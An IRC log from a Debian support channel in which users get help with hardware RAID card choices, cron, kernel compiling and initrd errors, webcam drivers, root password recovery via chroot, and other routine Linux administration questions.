| 10:27.27 | dos000 | anyone can suggest the best supported motherboard for raid1 sata controllers in debian etch ? |
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| 10:27.58 | Penix | dos000: what's wrong with software raid? |
| 10:28.18 | geo-rge | reliability for one? |
| 10:28.21 | SlayerXP | dos000: onboard raid controllers are invariably crap. |
| 10:28.42 | geo-rge | I'd consider a 3ware card |
| 10:28.55 | Blackgoth | mdadm ftw :> |
| 10:29.21 | geo-rge | well it depends also on your budget |
| 10:29.27 | geo-rge | and your purpose |
| 10:29.59 | dos000 | Penix, i tend to stay away from sw raid |
| 10:30.18 | Penix | dos000: probably a better solution than dodgy integrated raid though |
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| 10:30.31 | dos000 | geo-rge, i am about to order a server ... and was wondering about onboard cards |
| 10:30.32 | valdyn | dos000: those motherboards you are asking for are all software raid |
| 10:31.02 | Blackgoth | Penix: I tried both, and mdadm doesnt under perform for a good raid controller |
| 10:31.10 | Blackgoth | only areca's etc are alot faster |
| 10:31.10 | dos000 | one would think that by now they would have true hw raid |
| 10:31.25 | Penix | dos000: depends on what sort of board you've got obviously |
| 10:31.39 | dos000 | Penix, i am ordering the board now |
| 10:31.56 | Penix | dos000: is it a half decent server board? |
| 10:31.56 | SlayerXP | why on earth are you buying a server in pieces? |
| 10:32.28 | dos000 | SlayerXP, ??? i meant i am ordering the server ! |
| 10:32.43 | geo-rge | and why have you picked it out after asking 1.5 questions and getting back .75 answers so far here? |
| 10:33.04 | SlayerXP | dos000: so why do you care what mobo is in it? |
| 10:33.06 | dos000 | geo-rge, i did not pick anyserver yet |
| 10:33.20 | geo-rge | what is the purpose of the server? |
| 10:33.22 | SlayerXP | you present the supplier with your requirements, they get back to you with a price |
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| 10:33.46 | Penix | wouldn't a costly, current gen server have a good raid card included? |
| 10:33.56 | dos000 | i came across some problems a year ago on an integrated controller |
| 10:33.59 | geo-rge | and the supplier will generally support you (thru a support agreement) |
| 10:34.31 | dos000 | geo-rge, this is for an off the shelf server. Otherwise i would have gone with dell |
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| 10:35.08 | geo-rge | once it gets froim the shelf to the server room, what's it going to be doing for people? |
| 10:35.32 | dos000 | its a debian server meant for backup |
| 10:35.37 | geo-rge | ok |
| 10:35.54 | Blackgoth | backup of what dos000 ? |
| 10:35.57 | geo-rge | so the major thing that you're going to be concerned with is storage |
| 10:35.58 | dos000 | sorry missed the question |
| 10:36.00 | Blackgoth | data, failing servers? |
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| 10:36.23 | dos000 | the backup is network files and db dumps |
| 10:36.23 | Blackgoth | because if its a shelf server, it can be used for both, or neither |
| 10:36.29 | geo-rge | dos000: no you got my question, you just answered it (at least partly...) |
| 10:36.44 | geo-rge | will this server be doing anything else? |
| 10:36.52 | dos000 | not much else |
| 10:36.56 | Blackgoth | so you just want a fail over server for your file server? |
| 10:37.16 | geo-rge | ok, you are going to need a good modern tape drive and/or dvd writer |
| 10:37.17 | oDesk | i'm installing apt-get install courier-pop but i get this error 'Starting Courier POP3 server:bind: Address already in use |
| 10:37.18 | dos000 | blackbart, there is just no backup procedures right now |
| 10:37.25 | oDesk | ll_daemon_start: Resource temporarily unavailable |
| 10:37.30 | petemc | oDesk: lsof -i :110 |
| 10:37.31 | oDesk | so what's worng? |
| 10:37.43 | SlayerXP | oDesk: at a guess, the address is already in use. |
| 10:37.58 | geo-rge | dos000: and a server will not help you write them... you will need the backup strategies and plans |
| 10:38.12 | dos000 | geo-rge, i am going with dvd. But the thing is the server needs a raid 1 capable controller athat is well supported in etch |
| 10:38.14 | oDesk | petemc: lsof command not found |
| 10:38.20 | petemc | install it |
| 10:38.25 | petemc | or use netstat |
| 10:38.29 | Blackgoth | i'd start with that, and for a backup box, ill take exactly the same hardware as the one running now |
| 10:38.47 | dos000 | geo-rge, the most i am affraid of is getting a crappy mobo with crappy controller |
| 10:38.58 | geo-rge | dos000: backup server? hardware raid all the way. look into a 3ware card |
| 10:39.00 | valdyn | there's no true raid on board controller |
| 10:39.03 | Blackgoth | dos000: in that case you would need mdadm, which works fine |
| 10:39.06 | valdyn | it doesnt exist |
| 10:39.12 | SlimG2 | Where's the logfile for crontab? and is the new cronjob supposed to work when I've used "crontab -e" without restarting cron? |
| 10:39.37 | valdyn | !sata raid faq |
| 10:39.44 | valdyn | !libata |
| 10:39.48 | petemc | SlimG2: syslog, and yes |
| 10:39.49 | Blackgoth | SlimG2: it reports: installing new cronjob, so yeah, it works without restarting, and the logfile will be the /var/log/messages file |
| 10:39.50 | valdyn | aww, dpkg |
| 10:40.00 | dos000 | does mdadm gets "accelerated" if it detects some supported chips ? |
| 10:40.01 | oDesk | petemc: thank you. i killed the service |
| 10:40.10 | geo-rge | that way the motherboard's controllers don't have to be concerned with the main storage, and you have maximum flexibility in installing your operating system |
| 10:40.22 | Blackgoth | dos000: no, it just abuses full pci bus speeds |
| 10:40.34 | geo-rge | (meaning you could put a small drive that's not part of the array on a motherboard controller) |
| 10:40.43 | valdyn | dos000: what's your real quesetion? i dont deal in marketing terms like 'accelerated' raid that is slower than software raid |
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| 10:41.11 | valdyn | dos000: linux supports none of these so called 'accelerators' |
| 10:41.14 | SlimG2 | thanks petemc and Blackgoth, I really appreciate it |
| 10:41.36 | geo-rge | dos000: what are you backing up? |
| 10:41.41 | dos000 | valdyn, i was just wondering if the madm somehow gets to use the avalable drivers as opposed to doing it all in sw |
| 10:42.02 | valdyn | dos000: md does all in software, mdadm is just the setup tool |
| 10:42.08 | dos000 | geo-rge, its files and database (oracle) dumps. Files are minimal user files |
| 10:42.21 | geo-rge | what is the oracle server used for? |
| 10:42.33 | dos000 | geo-rge, users registration |
| 10:42.49 | dos000 | geo-rge, its a billing software |
| 10:42.49 | geo-rge | these users are registering for what kind of thing? |
| 10:42.56 | geo-rge | oh shit. |
| 10:43.09 | geo-rge | forget software raid. |
| 10:43.10 | valdyn | dos000: there's proprietary drivers for some fakeraid cards, those do use 'accelerator' chips, but that's between you and the vendor, we cant support those |
| 10:43.22 | dos000 | geo-rge, the service is a an dvb broadcast system |
| 10:43.50 | geo-rge | you were so right in the first place... but also don't go for raid on the motherboard... consider 3ware |
| 10:43.58 | Blackgoth | drop 3ware |
| 10:44.01 | Blackgoth | use a areca |
| 10:44.08 | dos000 | geo-rge, ah ! |
| 10:44.09 | geo-rge | is it better? |
| 10:44.11 | valdyn | both are ok vendors |
| 10:44.13 | Blackgoth | alot better |
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| 10:44.19 | geo-rge | how? |
| 10:44.27 | ma3x | why doesn't user agent switcher support default? |
| 10:44.52 | Blackgoth | faster, reliable, online expantion, doesnt have strange firmware bugs that I for one did had in 3wares |
| 10:44.54 | dos000 | Blackgoth, have you come across some comparision between the 2 ? |
| 10:45.06 | Blackgoth | dos000: only my own experiance |
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| 10:45.31 | geo-rge | Blackgoth: and it exclusively takes care of the array? |
| 10:45.40 | Blackgoth | yes |
| 10:45.56 | Blackgoth | it's a proper hardware raid card |
| 10:45.57 | geo-rge | ok, what os has the best drivers for it |
| 10:46.03 | dos000 | Blackgoth, you have a model number laying around ? |
| 10:46.41 | Blackgoth | just a sec dos000 |
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| 10:47.26 | geo-rge | dos000: that's what you're asking for originally: "a proper hardware raid card" |
| 10:47.29 | dos000 | blackbart, how about the management sw on both ? |
| 10:47.41 | geo-rge | arr! |
| 10:47.45 | dos000 | geo-rge, yes guys ... so far so good |
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| 10:48.27 | Blackgoth | dos000: areca ARC-1130 |
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| 10:48.33 | Blackgoth | 12 ports sata controller |
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| 10:48.41 | dos000 | geo-rge, i was trying to cheap it out by seaing if these good hw raid come in one of the mobos |
| 10:48.55 | geo-rge | well that still could be |
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| 10:49.01 | Blackgoth | geo-rge: it has a ethernet management module onboard |
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| 10:49.24 | basanta | my nat server can ping my domain but my pc can't |
| 10:49.35 | geo-rge | but I don't think the mobo manufacturers are particularly motivated to put real raid on a mobo |
| 10:49.42 | basanta | my nat server can ping one specific domain but my pc can't |
| 10:49.47 | Blackgoth | geo-rge: maybe a tyan |
| 10:49.53 | Blackgoth | basanta: we hear ya |
| 10:50.04 | Blackgoth | tried pinging the ip address? |
| 10:50.15 | geo-rge | basanta: ping by number and see |
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| 10:50.21 | Blackgoth | if it works, check your dns servers |
| 10:50.30 | dos000 | Blackgoth, anyone of them has snmp support ? |
| 10:50.48 | geo-rge | that's a big world |
| 10:50.57 | dos000 | Blackgoth, them being 3ware , areca |
| 10:50.57 | Blackgoth | dos000: as far as i know, yes |
| 10:51.21 | dos000 | geo-rge, i just need a way to figure if one of the drives is failing |
| 10:51.22 | Blackgoth | the areca does support it, but dont use too mutch management on a controller is my experiance |
| 10:51.23 | geo-rge | what would a raid card do with snmp? |
| 10:51.41 | Blackgoth | geo-rge: you can graph the drives? |
| 10:51.42 | Blackgoth | :P |
| 10:51.51 | geo-rge | mrtg :) |
| 10:51.54 | utab | I have a problem with xfce desktop, at each login I have to reconfigure the panel... so it does not store my preferences, any ideas |
| 10:52.02 | dos000 | geo-rge, traps/informs for malfunctions |
| 10:52.19 | Blackgoth | dos000: the areca's can send you a email on drive failure |
| 10:52.26 | dos000 | hehe ! |
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| 10:52.54 | dos000 | Blackgoth, and all this black magic is supported on etch ? |
| 10:52.57 | Blackgoth | and the card is kernel supported :) |
| 10:53.00 | Blackgoth | yes |
| 10:53.06 | geo-rge | which what, gets sent from a mail server where th mail files are living where, on the raid array... |
| 10:53.10 | geo-rge | ooooooookkkkkkkkk@ |
| 10:53.11 | geo-rge | ! |
| 10:53.32 | Blackgoth | :P |
| 10:53.38 | dob1 | hi, i installed phpmyadmin but when i try to access to it, i get 500 internal server error |
| 10:53.38 | geo-rge | truthfully/seriously, that should be workaroundable |
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| 10:53.54 | dob1 | what it can be? |
| 10:54.07 | petemc | thats the redundant part.. |
| 10:54.09 | geo-rge | one of 500 different problems? |
| 10:54.44 | geo-rge | look at the mysql connection log |
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| 10:55.00 | geo-rge | see if it says why the connection is not being made |
| 10:55.38 | geo-rge | watch the log... tail -f it while trying to connect and watch the action as it happens |
| 10:56.10 | dos000 | Blackgoth, one last question .. they run for how much ? |
| 10:56.27 | geo-rge | dob1: then when someone here asks the first question, you'll have a better idea of the answer |
| 10:56.50 | Blackgoth | dos000: you mean the price? |
| 10:56.57 | dos000 | Blackgoth, yes |
| 10:57.01 | SlimG2 | Why doesn't this cron sentence work (or any other for that sake): 0/1 * * * * /bin/echo "foo" > /tmp/bar ( /usr/sbin/cron appears to be running ) |
| 10:57.05 | geo-rge | hippo |
| 10:57.08 | D4N` | interest |
| 10:57.09 | geo-rge | birdy |
| 10:57.13 | geo-rge | two ewes |
| 10:57.15 | Blackgoth | my 12 port was i think somewhere near 900 euro's |
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| 10:57.31 | geo-rge | hippo birdie two ewes |
| 10:57.38 | Blackgoth | we just bought a 24 ports for 1500 euro's |
| 10:57.50 | Blackgoth | not that expensive |
| 10:57.57 | geo-rge | hippo birdie deer ewe RvGaTe^work |
| 10:57.57 | dos000 | Blackgoth, thanks man |
| 10:57.59 | geo-rge | hippo birdie two ewes |
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| 10:58.10 | Blackgoth | gefeliciteerd RvGaTe :P |
| 10:58.19 | RvGaTe^work | :D thx all |
| 10:58.38 | Blackgoth | and now back to work ya lazy bum! |
| 10:58.41 | Blackgoth | :p |
| 10:59.08 | spq | <PROTECTED> |
| 10:59.21 | RvGaTe^work | :( |
| 10:59.40 | geo-rge | spq: that's usually the address of the external gateway |
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| 11:00.02 | spq | im not natted |
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| 11:00.37 | geo-rge | then the internal machines have their own addresses and that's what comes out |
| 11:00.53 | spq | yes, how is this address determined? |
| 11:01.07 | spq | how can i define my own |
| 11:01.10 | geo-rge | but the internal machines use the external gw for their path out |
| 11:01.31 | geo-rge | it's one of the addresses on your subnet |
| 11:01.41 | spq | yea, one of... |
| 11:01.44 | spq | which one? ^^ |
| 11:01.49 | geo-rge | how big a subnet do you have? |
| 11:02.14 | spq | i have some ip aliases on my machine, 10 subnets or so |
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| 11:02.32 | kantor | hi, my kernel diables the HPA (host protected area) of my ATA hard disk every time when I start Linux. is there a linux kernel boot parameter to stop that action ? |
| 11:02.34 | geo-rge | you have more than one subnet behind that router? |
| 11:02.37 | kantor | this is the dmesg | grep output |
| 11:02.43 | kantor | hda: Host Protected Area detected.hda: Host Protected Area disabled |
| 11:02.55 | indraveni | hi |
| 11:03.00 | SlimG2 | Is there a more "cron" specific channel here on freenode? |
| 11:03.11 | spq | geo-rge, hm what do u mean with subnet? ip ranges? |
| 11:03.14 | indraveni | still my motioneye webcam which is inbuilt into my sony laptop is not working |
| 11:03.19 | Blackgoth | #cron SlimG2 ? |
| 11:03.19 | indraveni | anyone there who can help me |
| 11:03.38 | Blackgoth | indraveni: cat /dev/video0 |
| 11:03.43 | Blackgoth | do you get anything? |
| 11:03.55 | SlimG2 | Blackgoth: Been there, emty |
| 11:04.26 | Blackgoth | SlimG2: tried the man page? |
| 11:04.27 | indraveni | Blackgoth, cat: /dev/video0: No such device |
| 11:04.27 | spq | geo-rge, my problem is that i want to have some connections natted, some should be routed to another router, packets which come from specific ip addresses and those coming from the default ip address should be natted, all others should go to the real router |
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| 11:04.33 | Blackgoth | okay indraveni |
| 11:04.38 | GNU\colossus | is there a serious benchmark available for block devices? |
| 11:05.02 | dpkg | Debian Package/File/Desc Search of 'pam_pwdb.so' returned no results. |
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| 11:05.21 | indraveni | Blackgoth, why did u ask that query ? |
| 11:05.33 | Blackgoth | find what kind of webcam you have, it's probably in lsusb(type lsusb) google what module you need indraveni , install it, try cat /dev/video0 again and see if you get anything |
| 11:06.02 | SlimG2 | Blackgoth: I used the manpage when I constructed the cronsentence I mentioned earlier, It's not advanced imo and it still doesn't work for some reason unknown to me |
| 11:06.08 | indraveni | Blackgoth, its a Ricoh webcam |
| 11:06.16 | indraveni | Blackgoth, i installed all the related drivers |
| 11:06.17 | geo-rge | spq: that's a very big situation... ideally your router will have one ethernet port for the "rest of the internet" and one each for each subnet |
| 11:06.28 | Blackgoth | and you probed the modules indraveni ? |
| 11:06.34 | geo-rge | and subnet includes masqued subnets |
| 11:06.40 | indraveni | Blackgoth, yes |
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| 11:06.50 | geo-rge | other than that, it's a big problem that I'm not prepared to handle |
| 11:06.57 | brown_ | buondì |
| 11:07.30 | Blackgoth | indraveni: are you sure? |
| 11:08.26 | brown_ | can i assign a wirelle card to 2 access points? |
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| 11:08.50 | Blackgoth | brown_: if it has 2 antenna's yes |
| 11:09.00 | dob1 | but why debian install phpmyadmin and doesn't configure the apache server to use it? a minimal configuration at least, i have to edit http.conf to make it works... |
| 11:09.06 | indraveni | Blackgoth, yes, I have loaded, sonypi, meye, and videodev modules and them probed |
| 11:09.14 | indraveni | Blackgoth, using modprobe meye |
| 11:09.16 | indraveni | etc |
| 11:09.23 | indraveni | Blackgoth, anything else to be done ? |
| 11:09.35 | Blackgoth | nope that should be it normally |
| 11:09.55 | Blackgoth | there isnt another video device in /dev/? |
| 11:10.02 | indraveni | Blackgoth, no |
| 11:10.16 | indraveni | Blackgoth, even /dev/video0 is not present, i created it manually using mknod commnd |
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| 11:10.37 | Blackgoth | man, webcams suck under linux. |
| 11:11.19 | brown_ | Blackgoth, tell me more about your idea cause there are d-link cards that have 3 antennaz but i don't think they could be assigned to 3 AP |
| 11:11.43 | spq | geo-rge: ips: A,B,C,D routes X,Y: if no-source then source=A; if source in (A,B) then route X; else route Y; |
| 11:11.48 | spq | this is what i want to do |
| 11:11.49 | brown_ | the antenna are only to improve the signal power |
| 11:12.00 | Blackgoth | antenna's are not the things sticking out of the card brown_ :p |
| 11:12.12 | brown_ | ah ok |
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| 11:12.36 | brown_ | so how could i see if the card has much more "antennas"? |
| 11:12.37 | Blackgoth | multiple ethernet antenna's |
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| 11:13.13 | brown_ | for example my ipw3945 |
| 11:13.24 | Blackgoth | 1 antenna/radio |
| 11:13.35 | Blackgoth | so you need more wifi cards |
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| 11:14.26 | brown_ | ok thanks |
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| 11:17.00 | xand | the plural of antenna is antennae |
| 11:17.04 | xand | just so you know ;) |
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| 11:20.47 | brown_ | Blackgoth, the netgear wg311t? |
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| 11:21.05 | L0cKn | I've a problem guys |
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| 11:22.20 | almathea | How do I get a list of files that came with a given package? |
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| 11:24.47 | root_ | my root user password expiry has over.so ,i can't login now.how to overcome this problem?i have seperate disk-partition and there i can login as root user. |
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| 11:26.01 | StephenDConn | boo |
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| 11:26.16 | almathea | root_, mount the first system, chroot into it, and change password |
| 11:26.46 | tarzeau | almathea: dpkg -L pkg |
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| 11:27.04 | wsdo_okadr | is there anything for csv to xls(excel)? |
| 11:27.05 | root_ | almathea:i tried exactly the same,but it is giving the following error.. |
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| 11:27.09 | root_ | root@boss[~]#chroot /mnt/disk\[sda12\]/ |
| 11:27.09 | root_ | chroot: cannot run command `tcsh': No such file or directory |
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| 11:27.48 | almathea | root_, do chroot /where/foo/ /bin/bash |
| 11:28.00 | almathea | or /bin/sh even |
| 11:28.00 | Blackgoth | http://www.wallpaperama.com/forums/how-to-reset-linux-root-forgotten-passwords-get-retrieve-root-password-t956.html |
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| 11:28.37 | almathea | tarzeau, thanks |
| 11:29.22 | Neeesat | Hello to all |
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| 11:29.51 | Neeesat | I have accidentaly delete /dev/hdc. How can I recreate it? |
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| 11:30.56 | azeem | Neeesat: how did you delete it? With rm? |
| 11:31.11 | geo-rge | spq: ok, first I'm very impressed... you know exactly what you want... I'm not the guy to give it to you... if you find out here, great... if not, you might try #networking #netfilter #iptables |
| 11:31.15 | fengor | wsdo_okadr: excel can read csv files by default |
| 11:32.01 | Neeesat | yes rm -r |
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| 11:34.06 | geo-rge | ok, dpkg ran to completion, and I installed the linux-image and linux-modules for 2.6.18 xen 686 |
| 11:34.32 | geo-rge | now to figure out how to boot this bitch... |
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| 11:35.57 | geo-rge | maybe I should start by running it as a domU |
| 11:35.57 | indraveni | Blackgoth, any ideas? |
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| 11:36.45 | yang | What is the "iceweasel java" procedure ? |
| 11:36.53 | Neeesat | Anyone? How you create hdc device? |
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| 11:39.06 | almathea | Neeesat, you either reboot and get udev do the job, or read man mknod |
| 11:39.46 | almathea | info mknod even |
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| 11:43.43 | oDesk | my vps localhost defined as 10.11.12.13, thus when i need to connect to database i get error message |
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| 11:43.48 | oDesk | your host not allowed. |
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| 11:44.11 | Neeesat | manual doesn't say mutch on how will be the command line for hdc |
| 11:44.13 | oDesk | while if i did 'mysql -u username -p' |
| 11:44.28 | oDesk | i login without problems |
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| 11:46.27 | Neeesat | I have try mknod hdc b 22 0 |
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| 11:48.15 | Blackgoth | hyperdellic music is baaad! |
| 11:49.08 | harpal | I am trying to install pidgin from source. I have installed it completely but When I start that I get error Gdk-CRITICAL **: gdk_display_get_name: assertion `GDK_IS_DISPLAY (display)' failed |
| 11:49.57 | oDesk | how i add ip to allowed list for mysql ? |
| 11:50.10 | oDesk | using SSH .. into Etch vps |
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| 11:55.41 | fl3x0 | names |
| 11:55.44 | fl3x0 | clear |
| 11:55.52 | fl3x0 | names |
| 11:56.13 | outlaw84 | how do you change the name of a Debian installation? I am talking about the name that show when you log in via terminal or ssh like <user>@debiancomputer I tryed to change it in /etc/hosts but appearanlty that did not do the trick |
| 11:56.44 | fl3x0 | are you sure that is possible? |
| 11:56.58 | fl3x0 | i think the time of naming your machine is during installation |
| 11:57.17 | petemc | !hostname |
| 11:57.17 | dpkg | use hostname <hostname> to set the hostname, $EDITOR /etc/hostname to set it for the next boot, and $EDITOR /etc/hosts to set the FQDN, or create /etc/hostname if it doesn't exist, or 'man 1 hostname' |
| 11:57.39 | fl3x0 | waw |
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| 11:59.17 | fl3x0 | anybody wants to play frozenbubble? |
| 11:59.18 | fireba11 | oDesk: mysql got a nice config file ... |
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| 12:00.59 | fl3x0 | whois oye |
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| 12:01.50 | fireba11 | oDesk: oh wait .. you need to set hosts in suer access right .. and choose a bind adress that is not localhost |
| 12:02.05 | fl3x0 | . |
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| 12:14.17 | karma_ | Hello! I'm trying to talk with Siemens TC35 Terminal through RS232, it's at /dev/ttyS1.. So I'm trying to open it with "sysopen(DEV, "/dev/ttyS1", O_RDWR|O_NOCTTY|O_NDELAY)", but my program get blocked at this syscall.. So I think that devices is already opened. Is there some way to see which process holds that devices and how I can release it by force? |
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| 12:15.39 | rapiecer | do you know who is a good unison/rsync user around here ? |
| 12:15.49 | rapiecer | i forgot : hello everybody :=) |
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| 12:19.13 | petemc | karma_: lsof or fuser |
| 12:19.41 | et | rapiecer: you're better off just asking your question |
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| 12:20.50 | CyberMad | i install debian on vmware, does choosing Other Linux 2.4.x kernel is ok? or the correct one is 2.6.x kernel ? |
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| 12:23.02 | petemc | CyberMad: you should install etch, which is 2.6 only |
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| 12:23.56 | CyberMad | thanks petemc |
| 12:24.04 | Blackgoth | CyberMad: doesnt matter, vmware doesnt prepare a vm device in any other way |
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| 12:24.23 | indraveni | hello |
| 12:24.41 | indraveni | anyone there who can help me in making my motion eye webcam work in my sony vaio laptop |
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| 12:25.28 | petemc | indraveni: one think you could try is look on http://www.linux-laptop.net/ , see if someone has documented how they got it working |
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| 12:25.35 | petemc | s/nk/ng/ |
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| 12:26.18 | indraveni | petemc, i have checked that site also |
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| 12:29.56 | outlaw84 | how do you change the name of a Debian installation? I am talking about the name that show when you log in via terminal or ssh like <user>@debiancomputer I tryed to change it in /etc/hosts but appearanlty that did not do the trick |
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| 12:30.45 | jelly-home | !hostname |
| 12:30.45 | dpkg | use hostname <hostname> to set the hostname, $EDITOR /etc/hostname to set it for the next boot, and $EDITOR /etc/hosts to set the FQDN, or create /etc/hostname if it doesn't exist, or 'man 1 hostname' |
| 12:30.51 | jelly-home | outlaw84: ^^ |
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| 12:35.39 | boss | hi in my system i can't go into console mode.gnome is working fine,but when i am tring to go to CUI mode using ALT+CLTR+F1 or any of others key combinations nothing comes,except some hazy screen,some shorts of distorted picture. Plz help |
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| 12:37.49 | sakitram | hi, I just now compiled my Kernel and installed by dpkg -i <new-kernel-img>.dep. And I see in GRUB menu.lst, there is no initrd line for the new installed kernel. And also do not find /boot/initrd*<kernel-version> file too. What to do? |
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| 12:38.17 | sakitram | Do I have to create using mkinitrd and manually specify that init RAM image in grub menu |
| 12:38.18 | sakitram | ? |
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| 12:39.32 | trueboar | hi, i need help with sudo not asking for user password |
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| 12:40.02 | stew | sakitram: you can create one now with mkinitramfs, and then run update-grub again. however in the fugure you should compile your kernels using make-kpkg and pass it the '--initrd' flag |
| 12:40.09 | asg | trueboar: search for NOPASSWD in sudoers(5) |
| 12:41.01 | themill | trueboar: also look at sudo -k in man sudo |
| 12:41.16 | Akira65 | Hi |
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| 12:41.18 | trueboar | asg, themill, in /etc/sudoers i have my username ALL=(ALL) ALL |
| 12:41.22 | ribasushi | hi |
| 12:41.25 | Akira65 | I need help about kernel compiling in Debian |
| 12:41.36 | Akira65 | I've initrd error |
| 12:41.39 | Akira65 | (kernel vanilla) |
| 12:41.55 | Akira65 | I need to patch this kernel to work with debian etch ? |
| 12:42.06 | ribasushi | logwatch in its default debian instllation seems to process only issues that happened on the previous _calendar_ day, and not in the last 24 hours. Is there a way to chaneg that? |
| 12:42.23 | sakitram | stew: thank you so much. bye |
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| 12:42.43 | stew | Akira65: what is the error? |
| 12:43.20 | Past_Images | is there any reason why i can't seem to print big files or anything in colour on my system? i can print text files and emails etc but when try to print from scribus or acrobat or gimp nothing happens... |
| 12:43.50 | Past_Images | and if i try print an email with a photo in it, i get a black sqaure where photo should be |
| 12:43.52 | Akira65 | stew, i've "/dev/sda1" doesn't exists" |
| 12:44.01 | Akira65 | stew, and an initrd shell |
| 12:44.21 | Akira65 | stew, to compile the kernel, i used : make-kpkg --initrd --revision=myrevision kernel_image. It's right ? |
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| 12:44.35 | trueboar | asg, themill, LOL it has just happend to ask me for a password |
| 12:44.41 | sakitram | stew: I do not have mkinitramfs in debian. how to do? |
| 12:44.51 | trueboar | i dont know wtf but thanks for reply |
| 12:44.55 | stew | sakitram: it works just like mkinitrd, "man mkinitramfs" |
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| 12:45.00 | trueboar | bye |
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| 12:45.10 | stew | Akira65: that is the correct command for compiling. what were you doing when you got the error? trying to boot? |
| 12:45.49 | ma3x | I made a encoded DVD from my camcorders raw dv (interlaced). When I play the film on my computer it's interlaced of course with a lot of lines. What if I play the dvd on TV? TVs will deinterlace it well enough, or are there still gonna be some lines noticeable? |
| 12:46.05 | sakitram | stew: sorry, I got it. thanks once again. |
| 12:46.38 | Akira65 | stew, yes, i try to boot the new kernel |
| 12:46.51 | Akira65 | stew, a vanilla kernel is ok with debian etch ? |
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| 12:49.15 | z0ran | can anybody tell me why my mplayer can't have full screan picture, everything works fine exept that, it does have e picture, but only small one |
| 12:50.49 | stew | Akira65: yes, a vanilla kernel is fine |
| 12:50.54 | thrall | z0ran: man mplayer |
| 12:51.07 | Akira65 | stew, ok |
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| 12:51.12 | Akira65 | stew, any idea about the erro r? |
| 12:51.21 | Akira65 | stew, it's my fault ? |
| 12:51.30 | z0ran | thrall, thanks |
| 12:51.35 | Akira65 | stew, i've copied /boot/config-version in .config, it's nice ? |
| 12:51.52 | thrall | np |
| 12:51.59 | stew | Akira65: can you boot any other kernel? |
| 12:52.30 | Akira65 | stew, debian's kernel boots fine |
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| 12:53.55 | stew | Akira65: you might try booting debian, and rebuilding your initrd with "dpkg-reconfigure linux-image-$version" you might also try switching grub and fstab to refer to partition labels or uuids instead of device names, so you don't have to worry if device names change, which could be what is happening here |
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| 12:54.41 | stew | Akira65: instead of 'root=/dev/sda1' you could be using something like "root=LABEL=foo" or "root=UUID=1234123" (uuid can be found by looking in /dev/disk/by-uuid/) |
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| 12:55.17 | Akira65 | stew, how to know what's the UUID of a partition ? |
| 12:55.34 | stew | Akira65: ls /dev/disk/by-uuid |
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| 12:55.52 | stew | Akira65: err, ls -l /dev/disk/by-uuid |
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| 12:57.01 | nplus | I tried to install Debian Testing (CD1 from yesterday) but it can't find my ethernet controller - Realtek 8201 |
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| 12:58.15 | Akira65 | stew, oki, i'm booting in the old kernel to add the UUID. |
| 12:58.30 | themill | nplus: put lspci -n into http://kmuto.jp/debian/hcl/ |
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| 13:00.43 | nplus | themill: it says that it's a rtl8139 card... 10ec8139YesRealtek Semiconductor Co., Ltd.RT81398139too,8139cpv2.6.21 |
| 13:02.08 | themill | nplus: that sounds familiar... I don't know the chip at all, but have read that it is the successor to the 8139 chip and supported by the module 8139cp. |
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| 13:02.22 | loca|host | hello all |
| 13:02.35 | loca|host | how to drop a forwarded connexion on gateway server ? |
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| 13:03.01 | loca|host | when redefining iptables rules, old-connected connections wont go down |
| 13:03.13 | nplus | themill: so, you mean that there's no problem to install Debian without network, and then simply modprobe 8139cp? |
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| 13:04.31 | themill | nplus: if that module works ok, then that should work fine. You may need to upgrade your kernel to get that to work (2.6.22 is on backports.org); I don't know the state of play of that driver. Switching to another vt during installation and running modprobe 8139cp might also work too. |
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| 13:05.17 | loca|host | anyone ? |
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| 13:06.37 | Akira65 | stew, it boots |
| 13:06.49 | themill | nplus: it just occurred to me.... how did you get lspci at this stage? are you running off a live cd or another distro or something? |
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| 13:07.39 | nplus | themill: gentoo with 2.6.21-r4 |
| 13:08.36 | themill | nplus: then you should be able to see what module is used for that card under gentoo :) The etch installer uses 2.6.18. |
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| 13:09.21 | Akira65 | stew, but, init dont boot i think |
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| 13:10.14 | stew | Akira65: what makes you say that |
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| 13:10.27 | nplus | themill: I'm installing Lenny |
| 13:10.52 | Akira65 | stew, when i plug an usb device, i see the kernel message, but i've not "login" or services boot (like apache or ssh) |
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| 13:12.15 | themill | nplus: there seems to be some confusion about the lenny installer at present. Different pages by the d-i team say "don't use the lenny installer, instead upgrade from etch" and "here's the latest build of the lenny installer for you to use" and "here's the etch installer set up to install lenny". But in any case, you should be fine with that network card under debian. |
| 13:12.59 | nplus | themill: ok, I'll try again |
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| 13:13.17 | wols_ | themill: generally, testing installers are usually there to test the installer. not to install testing with |
| 13:14.19 | themill | !lenny netinstall |
| 13:14.19 | dpkg | A (possibly broken) installer for lenny is available from http://cdimage.debian.org/cdimage/daily-builds/daily/arch-latest/i386/iso-cd/ |
| 13:14.43 | wols_ | yes, that's why it's called "possibly broken" |
| 13:14.49 | themill | :) |
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| 13:15.31 | themill | unfortunately, I wrote that factoid... but those daily images are an installer that installs lenny. |
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| 13:15.56 | themill | (I wrote that when the d-i pages weren't contradictory) |
| 13:16.59 | sphenxes | how can i delete my password under wallet "kde"? or give a new wallet password using command line |
| 13:17.13 | wols_ | it wouldn't do that a new installer still installs stable since current stable will never bes installed with it, only the new stable, current testing |
| 13:18.21 | themill | naturally, but the d-i team is recommending against using them on their page for the weekly builds: http://cdimage.debian.org/cdimage/weekly-builds/ |
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| 13:18.30 | |porta| | How do I partition my drives? I have 2 320gig's an not sure how much space to put. |
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| 13:19.40 | Akira65 | stew, it's important to add "modules_image" in make-kpkg ? |
| 13:19.43 | themill | wols_: and the other day, the d-i wiki was saying something different again. I figure that it's just like all things to do with lenny: caveat emptor. |
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| 13:20.41 | stew | Akira65: not unless you are passing the "--added-modules" option to make-kpkg, afaik |
| 13:21.13 | Akira65 | stew, ok |
| 13:21.36 | Akira65 | stew, :-( why it's complicated... |
| 13:23.29 | stew | Akira65: what are you bothering to compile your own kernel in the first place? |
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| 13:28.17 | Akira65 | stew, to have the last version |
| 13:28.28 | Akira65 | stew, to patch the kernel with all interesting patchs |
| 13:28.34 | Akira65 | stew, and to optimize my kernel |
| 13:28.52 | Akira65 | stew, +understand kernel packaging |
| 13:29.08 | cmanns | How do I display cpu info? |
| 13:29.17 | stew | cmanns: cat /proc/cpuinfo |
| 13:29.30 | cmanns | thx |
| 13:29.36 | stew | Akira65: so it boots, you just don't get a login prompt? |
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| 13:29.59 | stew | Akira65: were you messing with console= in order to add bootsplash or something? |
| 13:30.06 | stew | Akira65: is there a login prompt on another vt? |
| 13:30.10 | Akira65 | stew, yes, it boots, but with no service and login |
| 13:30.30 | cmanns | thx stew |
